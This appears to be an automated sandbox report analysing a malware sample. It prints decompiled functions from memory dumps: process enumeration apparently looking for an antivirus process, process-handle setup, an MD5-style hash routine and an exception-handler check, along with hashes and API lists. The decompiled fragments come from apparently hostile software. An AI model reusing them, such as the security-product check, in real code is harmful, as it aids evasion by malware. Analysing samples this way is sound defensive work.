Instruction ID: 8a4294a5b0c21c7c2e780c25ca482bcf0c677b3ff7066fe8ea6830096019d44b
Opcode Fuzzy Hash: 3e09933c7f91899a2ea8c59cd284eede9aaca375b098b62ae354d40d26040411
Instruction Fuzzy Hash: 346186B5F10108AAFF11EBB4DD84D5BB7EDABA86C47344E15E601E3204E731E5828F24

Uniqueness

Uniqueness Score: -1.00%

Function 02F9757F, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E02F9757F() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x2f9d27c; // 0xd0a5a8
						_t2 = _t9 + 0x2f9ee54; // 0x73617661
						_push( &_v264);
						if( *0x2f9d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x02f9758a
0x02f97594
0x02f97598
0x02f975a2
0x02f975d3
0x02f975a9
0x02f975ae
0x02f975bb
0x02f975c4
0x02f975db
0x02f975c6
0x02f975ce
0x00000000
0x02f975ce
0x02f975dc
0x02f975dd
0x00000000
0x02f975dd
0x00000000
0x02f975d7
0x02f975e3
0x02f975e8

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02F9758F
Process32First.KERNEL32(00000000,?), ref: 02F975A2
Process32Next.KERNEL32(00000000,?), ref: 02F975CE
CloseHandle.KERNEL32(00000000), ref: 02F975DD

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 583e991218719ce739f84295de5a76d380da4aacd8e843ec3e803813d1f70c4e
Instruction ID: 381e8a356ca8378f4e1975c18bed1a1d304216b6af758e8b72d970d5c374bcc5
Opcode Fuzzy Hash: 583e991218719ce739f84295de5a76d380da4aacd8e843ec3e803813d1f70c4e
Instruction Fuzzy Hash: 55F09C72A091195BEF60B7768C48EEBB7ADDFC57D0F010051F705D3100EB24D959CA61

Uniqueness

Uniqueness Score: -1.00%

Function 10001850, Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001850() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;
				void* _t12;

				_t8 =  *0x10004130;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x1000413c = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t12 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 > 0) {
						L5:
						 *0x1000412c = _t3;
						_t5 = GetCurrentProcessId();
						 *0x10004128 = _t5;
						 *0x10004130 = _t8;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x10004124 = _t6;
						if(_t6 == 0) {
							 *0x10004124 =  *0x10004124 | 0xffffffff;
						}
						return 0;
					} else {
						_t12 = _t3 - _t3;
						goto L4;
					}
				}
			}

0x10001851
0x1000185f
0x10001867
0x1000186c
0x100018be
0x100018be
0x1000186e
0x10001876
0x1000187e
0x1000187e
0x100018ba
0x100018bc
0x00000000
0x00000000
0x00000000
0x10001878
0x1000187a
0x10001880
0x10001880
0x10001885
0x10001893
0x10001898
0x1000189e
0x100018a6
0x100018ab
0x100018ad
0x100018ad
0x100018b7
0x1000187c
0x1000187c
0x00000000
0x1000187c
0x1000187a

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,74B063F0), ref: 1000185F
GetVersion.KERNEL32 ref: 1000186E
GetCurrentProcessId.KERNEL32 ref: 10001885
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
Instruction ID: 85c0868463d14858f17c42858624fe0a32704ce5df48730f043fd2a385afc03a
Opcode Fuzzy Hash: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
Instruction Fuzzy Hash: 69F0C2B06492309AF701DF68ADC57C53BE8E7097D2F028215E244D61ECDBB085818B5C

Uniqueness

Uniqueness Score: -1.00%

Function 02F997F2, Relevance: 1.9, APIs: 1, Instructions: 610
COMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E02F997F2(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t274;
				signed int _t337;
				void* _t347;
				signed int _t348;
				signed int _t350;
				signed int _t352;
				signed int _t354;
				signed int _t356;
				signed int _t358;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				signed int _t366;
				signed int _t375;
				signed int _t377;
				signed int _t379;
				signed int _t381;
				signed int _t383;
				intOrPtr* _t399;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t413;
				signed int _t415;
				signed int _t417;
				signed int _t419;
				signed int _t421;
				signed int _t423;
				signed int _t425;
				signed int _t427;
				signed int _t429;
				signed int _t437;
				signed int _t439;
				signed int _t441;
				signed int _t443;
				signed int _t445;
				void* _t447;
				signed int _t507;
				signed int _t598;
				signed int _t606;
				signed int _t612;
				signed int _t678;
				signed int* _t681;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				signed int _t691;
				signed int _t696;
				signed int _t698;
				signed int _t717;
				signed int _t719;
				signed int _t721;
				signed int _t723;
				signed int _t725;
				signed int _t727;
				signed int _t733;
				signed int _t739;
				signed int _t741;
				signed int _t743;
				signed int _t745;
				signed int _t747;

				_t226 = _a4;
				_t347 = __ecx + 2;
				_t681 =  &_v76;
				_t447 = 0x10;
				do {
					_t274 =  *(_t347 - 1) & 0x000000ff;
					_t347 = _t347 + 4;
					 *_t681 = (0 << 0x00000008 | _t274) << 0x00000008 |  *(_t347 - 6) & 0x000000ff;
					_t681 =  &(_t681[1]);
					_t447 = _t447 - 1;
				} while (_t447 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t682 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t407 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t348 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t682 & _t348 | _t407 & _t682) + _v76 +  *_t226 - 0x28955b88 + _t682;
				asm("rol ecx, 0xc");
				_t350 = ( !_t229 & _t407 | _t682 & _t229) + _v72 + _t348 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t409 = ( !_t350 & _t682 | _t350 & _t229) + _v68 + _t407 + 0x242070db + _t350;
				asm("ror esi, 0xa");
				_t684 = ( !_t409 & _t229 | _t350 & _t409) + _v64 + _t682 - 0x3e423112 + _t409;
				_v8 = _t684;
				_t689 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t684 & _t350 | _t409 & _v8) + _v60 + _t229 - 0xa83f051 + _t689;
				asm("rol ecx, 0xc");
				_t352 = ( !_t231 & _t409 | _t689 & _t231) + _v56 + _t350 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t411 = ( !_t352 & _t689 | _t352 & _t231) + _v52 + _t409 - 0x57cfb9ed + _t352;
				asm("ror esi, 0xa");
				_t691 = ( !_t411 & _t231 | _t352 & _t411) + _v48 + _t689 - 0x2b96aff + _t411;
				_v8 = _t691;
				_t696 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t691 & _t352 | _t411 & _v8) + _v44 + _t231 + 0x698098d8 + _t696;
				asm("rol ecx, 0xc");
				_t354 = ( !_t233 & _t411 | _t696 & _t233) + _v40 + _t352 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t413 = ( !_t354 & _t696 | _t354 & _t233) + _v36 + _t411 - 0xa44f + _t354;
				asm("ror esi, 0xa");
				_t698 = ( !_t413 & _t233 | _t354 & _t413) + _v32 + _t696 - 0x76a32842 + _t413;
				_v8 = _t698;
				asm("rol eax, 0x7");
				_t235 = ( !_t698 & _t354 | _t413 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t356 = ( !_t235 & _t413 | _v8 & _t235) + _v24 + _t354 - 0x2678e6d + _t235;
				_t507 =  !_t356;
				asm("ror edx, 0xf");
				_t415 = (_t507 & _v8 | _t356 & _t235) + _v20 + _t413 - 0x5986bc72 + _t356;
				_v12 = _t415;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t717 = (_v12 & _t235 | _t356 & _t415) + _v16 + _v8 + 0x49b40821 + _t415;
				asm("rol eax, 0x5");
				_t237 = (_t507 & _t415 | _t356 & _t717) + _v72 + _t235 - 0x9e1da9e + _t717;
				asm("rol ecx, 0x9");
				_t358 = (_v12 & _t717 | _t415 & _t237) + _v52 + _t356 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t417 = ( !_t717 & _t237 | _t358 & _t717) + _v32 + _t415 + 0x265e5a51 + _t358;
				asm("ror esi, 0xc");
				_t719 = ( !_t237 & _t358 | _t417 & _t237) + _v76 + _t717 - 0x16493856 + _t417;
				asm("rol eax, 0x5");
				_t239 = ( !_t358 & _t417 | _t358 & _t719) + _v56 + _t237 - 0x29d0efa3 + _t719;
				asm("rol ecx, 0x9");
				_t360 = ( !_t417 & _t719 | _t417 & _t239) + _v36 + _t358 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t419 = ( !_t719 & _t239 | _t360 & _t719) + _v16 + _t417 - 0x275e197f + _t360;
				asm("ror esi, 0xc");
				_t721 = ( !_t239 & _t360 | _t419 & _t239) + _v60 + _t719 - 0x182c0438 + _t419;
				asm("rol eax, 0x5");
				_t241 = ( !_t360 & _t419 | _t360 & _t721) + _v40 + _t239 + 0x21e1cde6 + _t721;
				asm("rol ecx, 0x9");
				_t362 = ( !_t419 & _t721 | _t419 & _t241) + _v20 + _t360 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t421 = ( !_t721 & _t241 | _t362 & _t721) + _v64 + _t419 - 0xb2af279 + _t362;
				asm("ror esi, 0xc");
				_t723 = ( !_t241 & _t362 | _t421 & _t241) + _v44 + _t721 + 0x455a14ed + _t421;
				asm("rol eax, 0x5");
				_t243 = ( !_t362 & _t421 | _t362 & _t723) + _v24 + _t241 - 0x561c16fb + _t723;
				asm("rol ecx, 0x9");
				_t364 = ( !_t421 & _t723 | _t421 & _t243) + _v68 + _t362 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t423 = ( !_t723 & _t243 | _t364 & _t723) + _v48 + _t421 + 0x676f02d9 + _t364;
				asm("ror esi, 0xc");
				_t725 = ( !_t243 & _t364 | _t423 & _t243) + _v28 + _t723 - 0x72d5b376 + _t423;
				asm("rol eax, 0x4");
				_t245 = (_t364 ^ _t423 ^ _t725) + _v56 + _t243 - 0x5c6be + _t725;
				asm("rol ecx, 0xb");
				_t366 = (_t423 ^ _t725 ^ _t245) + _v44 + _t364 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t425 = (_t366 ^ _t725 ^ _t245) + _v32 + _t423 + 0x6d9d6122 + _t366;
				_t598 = _t366 ^ _t425;
				asm("ror esi, 0x9");
				_t727 = (_t598 ^ _t245) + _v20 + _t725 - 0x21ac7f4 + _t425;
				asm("rol eax, 0x4");
				_t247 = (_t598 ^ _t727) + _v72 + _t245 - 0x5b4115bc + _t727;
				asm("rol edi, 0xb");
				_t606 = (_t425 ^ _t727 ^ _t247) + _v60 + _t366 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t427 = (_t606 ^ _t727 ^ _t247) + _v48 + _t425 - 0x944b4a0 + _t606;
				_t337 = _t606 ^ _t427;
				asm("ror ecx, 0x9");
				_t375 = (_t337 ^ _t247) + _v36 + _t727 - 0x41404390 + _t427;
				asm("rol eax, 0x4");
				_t249 = (_t337 ^ _t375) + _v24 + _t247 + 0x289b7ec6 + _t375;
				asm("rol esi, 0xb");
				_t733 = (_t427 ^ _t375 ^ _t249) + _v76 + _t606 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t612 = (_t733 ^ _t375 ^ _t249) + _v64 + _t427 - 0x2b10cf7b + _t733;
				_t429 = _t733 ^ _t612;
				asm("ror ecx, 0x9");
				_t377 = (_t429 ^ _t249) + _v52 + _t375 + 0x4881d05 + _t612;
				asm("rol eax, 0x4");
				_t251 = (_t429 ^ _t377) + _v40 + _t249 - 0x262b2fc7 + _t377;
				asm("rol edx, 0xb");
				_t437 = (_t612 ^ _t377 ^ _t251) + _v28 + _t733 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t739 = (_t437 ^ _t377 ^ _t251) + _v16 + _t612 + 0x1fa27cf8 + _t437;
				asm("ror ecx, 0x9");
				_t379 = (_t437 ^ _t739 ^ _t251) + _v68 + _t377 - 0x3b53a99b + _t739;
				asm("rol eax, 0x6");
				_t253 = (( !_t437 | _t379) ^ _t739) + _v76 + _t251 - 0xbd6ddbc + _t379;
				asm("rol edx, 0xa");
				_t439 = (( !_t739 | _t253) ^ _t379) + _v48 + _t437 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t741 = (( !_t379 | _t439) ^ _t253) + _v20 + _t739 - 0x546bdc59 + _t439;
				asm("ror ecx, 0xb");
				_t381 = (( !_t253 | _t741) ^ _t439) + _v56 + _t379 - 0x36c5fc7 + _t741;
				asm("rol eax, 0x6");
				_t255 = (( !_t439 | _t381) ^ _t741) + _v28 + _t253 + 0x655b59c3 + _t381;
				asm("rol edx, 0xa");
				_t441 = (( !_t741 | _t255) ^ _t381) + _v64 + _t439 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t743 = (( !_t381 | _t441) ^ _t255) + _v36 + _t741 - 0x100b83 + _t441;
				asm("ror ecx, 0xb");
				_t383 = (( !_t255 | _t743) ^ _t441) + _v72 + _t381 - 0x7a7ba22f + _t743;
				asm("rol eax, 0x6");
				_t257 = (( !_t441 | _t383) ^ _t743) + _v44 + _t255 + 0x6fa87e4f + _t383;
				asm("rol edx, 0xa");
				_t443 = (( !_t743 | _t257) ^ _t383) + _v16 + _t441 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t745 = (( !_t383 | _t443) ^ _t257) + _v52 + _t743 - 0x5cfebcec + _t443;
				asm("ror edi, 0xb");
				_t678 = (( !_t257 | _t745) ^ _t443) + _v24 + _t383 + 0x4e0811a1 + _t745;
				asm("rol eax, 0x6");
				_t259 = (( !_t443 | _t678) ^ _t745) + _v60 + _t257 - 0x8ac817e + _t678;
				asm("rol edx, 0xa");
				_t445 = (( !_t745 | _t259) ^ _t678) + _v32 + _t443 - 0x42c50dcb + _t259;
				_t399 = _a4;
				asm("rol esi, 0xf");
				_t747 = (( !_t678 | _t445) ^ _t259) + _v68 + _t745 + 0x2ad7d2bb + _t445;
				 *_t399 =  *_t399 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t399 + 4)) = (( !_t259 | _t747) ^ _t445) + _v40 + _t678 - 0x14792c6f +  *((intOrPtr*)(_t399 + 4)) + _t747;
				 *((intOrPtr*)(_t399 + 8)) =  *((intOrPtr*)(_t399 + 8)) + _t747;
				 *((intOrPtr*)(_t399 + 0xc)) =  *((intOrPtr*)(_t399 + 0xc)) + _t445;
				return memset( &_v76, 0, 0x40);
			}

0x02f997f5
0x02f99800
0x02f99803
0x02f99806
0x02f99807
0x02f99807
0x02f99812
0x02f99823
0x02f99825
0x02f99828
0x02f99828
0x02f9982b
0x02f9982b
0x02f9982e
0x02f9982e
0x02f99831
0x02f99831
0x02f9984e
0x02f99851
0x02f99867
0x02f9986a
0x02f99884
0x02f99887
0x02f9989d
0x02f998a0
0x02f998a2
0x02f998ba
0x02f998bd
0x02f998c0
0x02f998d8
0x02f998db
0x02f998f5
0x02f998f8
0x02f9990e
0x02f99911
0x02f99913
0x02f9992b
0x02f99930
0x02f99933
0x02f99949
0x02f9994c
0x02f99966
0x02f99969
0x02f9997f
0x02f99982
0x02f99984
0x02f9999f
0x02f999a2
0x02f999b9
0x02f999bc
0x02f999c0
0x02f999d9
0x02f999dc
0x02f999de
0x02f999e1
0x02f999fc
0x02f999ff
0x02f99a18
0x02f99a1b
0x02f99a2b
0x02f99a2e
0x02f99a46
0x02f99a49
0x02f99a63
0x02f99a66
0x02f99a7e
0x02f99a81
0x02f99a97
0x02f99a9a
0x02f99ab2
0x02f99ab5
0x02f99acd
0x02f99ad0
0x02f99aea
0x02f99aed
0x02f99b03
0x02f99b06
0x02f99b1e
0x02f99b21
0x02f99b3b
0x02f99b3e
0x02f99b56
0x02f99b59
0x02f99b6f
0x02f99b72
0x02f99b8a
0x02f99b8d
0x02f99ba5
0x02f99ba8
0x02f99bba
0x02f99bbd
0x02f99bcf
0x02f99bd2
0x02f99be4
0x02f99be7
0x02f99beb
0x02f99bfb
0x02f99bfe
0x02f99c0c
0x02f99c0f
0x02f99c21
0x02f99c24
0x02f99c38
0x02f99c3b
0x02f99c3d
0x02f99c4d
0x02f99c50
0x02f99c62
0x02f99c65
0x02f99c73
0x02f99c76
0x02f99c88
0x02f99c8b
0x02f99c8f
0x02f99c9f
0x02f99ca2
0x02f99cb4
0x02f99cb7
0x02f99cc5
0x02f99cc8
0x02f99cda
0x02f99cdd
0x02f99cef
0x02f99cf2
0x02f99d06
0x02f99d09
0x02f99d1d
0x02f99d20
0x02f99d34
0x02f99d37
0x02f99d4b
0x02f99d4e
0x02f99d62
0x02f99d65
0x02f99d79
0x02f99d7e
0x02f99d90
0x02f99d93
0x02f99da7
0x02f99daa
0x02f99dbe
0x02f99dc1
0x02f99dd7
0x02f99dda
0x02f99dee
0x02f99df1
0x02f99e03
0x02f99e06
0x02f99e1a
0x02f99e1d
0x02f99e31
0x02f99e34
0x02f99e48
0x02f99e51
0x02f99e54
0x02f99e5d
0x02f99e66
0x02f99e6e
0x02f99e76
0x02f99e80
0x02f99e95

APIs

memset.NTDLL ref: 02F99E89

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 52e03f73daf1acbc6a4f2a9c02c66ec997d616785c4cba18c714e75c778021e1
Instruction ID: 5794df8f93a54c3b967d44dfae819198ea268a45a4c1082618a5be0077ddf6cd
Opcode Fuzzy Hash: 52e03f73daf1acbc6a4f2a9c02c66ec997d616785c4cba18c714e75c778021e1
Instruction Fuzzy Hash: 2722847BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0

Uniqueness

Uniqueness Score: -1.00%

Function 02F9B341, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02F9B341(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x2f9d2e0; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x2f9d328 = 1;
										__eflags =  *0x2f9d328;
										if( *0x2f9d328 != 0) {
											goto L60;
										}
										_t84 =  *0x2f9d2e0; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x2f9d328 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x2f9d2e0 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x2f9d2e8 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x2f9d2e4 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x2f9d2e8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x2f9d2e8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x2f9d328 = 1;
							__eflags =  *0x2f9d328;
							if( *0x2f9d328 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x2f9d2e8 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x2f9d2e8 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x2f9d328 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x2f9d2e8 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x2f9d2e0 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x2f9d2e8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x2f9d2e8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x02f9b34b
0x02f9b34e
0x02f9b354
0x02f9b372
0x00000000
0x02f9b372
0x02f9b35c
0x02f9b365
0x02f9b36b
0x02f9b37a
0x02f9b37d
0x02f9b380
0x02f9b38a
0x02f9b38a
0x02f9b38c
0x02f9b38f
0x02f9b391
0x02f9b391
0x02f9b393
0x02f9b396
0x00000000
0x00000000
0x02f9b398
0x02f9b39a
0x02f9b400
0x02f9b400
0x02f9b55e
0x00000000
0x02f9b55e
0x02f9b39c
0x02f9b39c
0x02f9b3a0
0x02f9b3a2
0x02f9b3a2
0x02f9b3a2
0x02f9b3a2
0x02f9b3a5
0x02f9b3a6
0x02f9b3a9
0x02f9b3a9
0x02f9b3ad
0x02f9b3b1
0x02f9b3bf
0x02f9b3bf
0x02f9b3c7
0x02f9b3cd
0x02f9b3cf
0x02f9b3d1
0x02f9b3e1
0x02f9b3ee
0x02f9b3f2
0x02f9b3f7
0x02f9b3f9
0x02f9b477
0x02f9b477
0x02f9b3fb
0x02f9b3fb
0x02f9b3fb
0x02f9b479
0x02f9b47b
0x02f9b55c
0x02f9b55c
0x00000000
0x02f9b481
0x02f9b481
0x02f9b488
0x00000000
0x00000000
0x02f9b48e
0x02f9b492
0x02f9b4ee
0x02f9b4f0
0x02f9b4f8
0x02f9b4fa
0x02f9b4fc
0x00000000
0x00000000
0x02f9b4fe
0x02f9b504
0x02f9b506
0x02f9b508
0x02f9b51d
0x02f9b51d
0x02f9b51f
0x02f9b54e
0x02f9b555
0x00000000
0x02f9b555
0x02f9b523
0x02f9b524
0x02f9b526
0x02f9b528
0x02f9b528
0x02f9b52a
0x02f9b52c
0x02f9b52e
0x02f9b542
0x02f9b542
0x02f9b545
0x02f9b547
0x02f9b547
0x02f9b548
0x02f9b548
0x00000000
0x02f9b530
0x02f9b530
0x02f9b530
